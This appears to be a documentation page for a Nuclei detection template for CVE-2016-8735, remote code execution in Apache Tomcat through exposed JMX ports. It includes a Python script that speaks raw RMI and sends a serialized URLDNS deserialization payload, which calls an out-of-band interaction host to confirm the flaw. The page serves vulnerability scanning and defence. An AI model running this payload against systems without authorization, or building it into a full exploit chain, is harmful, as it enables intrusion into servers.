Apache Tomcat - Remote Code Execution via JMX Ports
ID: CVE-2016-8735
Severity: critical
Author: hnd3884
Tags: cve,cve2016,apache,tomcat,rce
Description
Section titled “Description”Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely.
YAML Source
Section titled “YAML Source”id: CVE-2016-8735
info: name: Apache Tomcat - Remote Code Execution via JMX Ports author: hnd3884 severity: critical description: | Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely. reference: - https://medium.com/tenable-techblog/achieving-rce-on-tomcat-via-cve-2016-8735-a-proof-of-concept-13df8a9ef0e0 - https://nvd.nist.gov/vuln/detail/cve-2016-8735 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-8735 cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* metadata: shodan-query: product:"tomcat" vendor: apache product: tomcat tags: cve,cve2016,apache,tomcat,rce
variables: OAST: "{{interactsh-url}}" HOST: "{{Host}}" RMI_REGISTRY_PORT: "{{Port}}"
code: - engine: - py - python3 source: | import socket import os
OAST, HOST, PORT = os.getenv('OAST'), os.getenv('HOST'), int(os.getenv('RMI_REGISTRY_PORT'))
### Initialize socket and connect to RMI server, Locate "UnicastRef2" and extract rmiServerPort ### s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((HOST, PORT)) s1.send(bytes.fromhex("4a524d4900024b"));s1.recv(4096) s1.send(bytes.fromhex("000c31302e36352e3135372e313000000000")) s1.send(bytes.fromhex("50aced00057722000000000000000000000000000000000000000000000000000244154dc9d4e63bdf7400066a6d78726d69")) response = s1.recv(4096)
following_bytes = response[response.find(b"UnicastRef2") + len("UnicastRef2") + 1:] rmiServerPort = int(following_bytes[:2].hex(), 16) rmiServerPort = int(following_bytes[2:][rmiServerPort + 1:rmiServerPort + 4].hex(), 16)
### Exploit rmiServerPort ### s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((HOST, rmiServerPort)) s2.send(bytes.fromhex("4a524d4900024b"));s2.recv(4096) s2.send(bytes.fromhex("000c31302e36352e3135372e313000000000")) s2.send(bytes.fromhex("50aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078702d4f7f1ffa7877b4737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e69717565707870800100000192f5ff701a9cb3f67477088000000000000000737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008f1c6fcc113e4dd097371007e0005800100000192f6835b0fb632f8a1"))
# URLDNS payload to detect unsafe deserialization hex4 = "50aced000577222191ba09e57952f396b68ddb00000193151cdd268001fffffffff0e074eaad0caea8737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e0003707870ffffffffffffffff74002a6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e74000071007e00057400056874747073707874003268747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e78"
ind = hex4.find('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e') hex4 = hex4[:ind-2] + hex(len(OAST))[2:] + hex4[ind:] ind = hex4.find('68747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e') hex4 = (hex4[:ind-2] + hex(len('https://'+OAST))[2:] + hex4[ind:]).replace('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e', OAST.encode().hex())
# Send serialized payload s2.send(bytes.fromhex(hex4)) response = s2.recv(4096) response = s2.recv(4096)
s2.close() print(response.hex())
matchers: - type: dsl dsl: # Check "Credentials should be String[] instead of java.util.HashMapur" in last response - 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")' - 'contains(interactsh_protocol, "dns")' condition: and# digest: 490a0046304402206b8e3dd583224b74ea527410d3774e68b25a61d5a3672732950a6dc9c694a07702201888286b4b3c9c9faf510525d47b2b122a4b046f03226fd4c1b1fa3c7e4cfea8:41987585204b393149694b2205534b1aGuide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-8735.yaml"